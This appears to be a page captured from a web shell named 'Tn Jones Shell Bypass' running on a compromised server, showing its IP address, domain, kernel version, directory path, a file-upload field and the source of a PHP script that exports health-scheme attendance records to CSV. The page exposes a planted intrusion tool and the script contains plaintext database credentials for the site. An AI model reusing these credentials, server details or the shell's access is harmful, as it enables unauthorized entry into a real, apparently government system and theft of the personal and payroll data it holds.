Tn Jones Shell Bypass
:
18.116.13.192
:
160.187.54.56 / upgov.net
:
Linux 160-187-54-56.cprapid.com 4.18.0-553.22.1.lve.1.el7h.x86_64 #1 SMP Tue Oct 8 14:36:03 UTC 2024 x86_64
:
/
home
/
upgov
/
www
/
rmpyrll
/
Upload File:
files >> /home/upgov/www/rmpyrll/newphpfile.php
<?php ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL); // Database connection settings define("DB_HOST", "localhost"); define("DB_USER", "oldserve_payrollrama1"); define("DB_PASS", "Ramaipl@123"); define("DB_NAME", "oldserve_payrollrama1"); // Create connection $link = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME); // Check connection if ($link->connect_error) { die("Connection failed: " . $link->connect_error); } // Retrieve parameters $w = isset($_GET['w']) ? $_GET['w'] : ''; $w2 = isset($_GET['w2']) ? $_GET['w2'] : ''; $w3 = isset($_GET['w3']) ? $_GET['w3'] : ''; // Pagination settings $per_page = 500; $page = isset($_GET['page']) ? intval($_GET['page']) : 1; $start = ($page - 1) * $per_page; // Query data $setSql = "SELECT department, scheme, district, hospital, month, attandance, letter_issue_date, attformdate, totempatt, totemp FROM health WHERE scheme LIKE ? AND month LIKE ? AND district LIKE ? ORDER BY sno DESC LIMIT ?, ?"; // Prepare the SQL statement $stmt = $link->prepare($setSql); // Check if the prepare() was successful if ($stmt === false) { die('SQL prepare failed: ' . htmlspecialchars($link->error)); } // Prepare the parameters $like_w = $w . '%'; $like_w2 = $w2 . '%'; $like_w3 = $w3 . '%'; // Bind the parameters $stmt->bind_param('sssii', $like_w, $like_w2, $like_w3, $start, $per_page); // Execute the statement $stmt->execute(); // Get the result $result = $stmt->get_result(); // $head = ['S.No', 'Department', 'Scheme', 'District', 'Sub Location', 'Month', 'Attendance', 'Attendance Date', 'Bill', 'Bill Date']; // $setMainHeader = ""; // while ($field = $head) { // $setMainHeader .= $field->name . "\t"; // } $head = ['Department', 'Scheme', 'District', 'Sub Location', 'Month', 'Attendance', 'Letter Issue Date', 'Date', 'Working', 'Attd.']; // Initialize the header string $setMainHeader = ""; // Concatenate each header with a tab separator foreach ($head as $field) { $setMainHeader .= $field . "\t"; } $setData = ""; while ($row = $result->fetch_assoc()) { $rowLine = ''; $i = 1; foreach ($row as $value) { if (!isset($value) || $value == "") { $value = "\t"; } else { // Escape special characters and quotes $value = strip_tags(str_replace('"', '""', $value)); $value = '"' . $value . '"' . "\t"; } $rowLine .= $value; } $setData .= trim($rowLine) . "\n"; } $setData = str_replace("\r", "", $setData); // If no matching records are found, set a default message if ($setData == "") { $setData = "\nno matching records found\n"; } // Output CSV file headers header("Content-Type: text/csv"); header("Content-Disposition: attachment; filename=health_data_report.csv"); header("Pragma: no-cache"); header("Expires: 0"); // Output the header and data echo ucwords($setMainHeader) . "\n" . $setData . "\n"; $stmt->close(); $link->close(); exit; ?>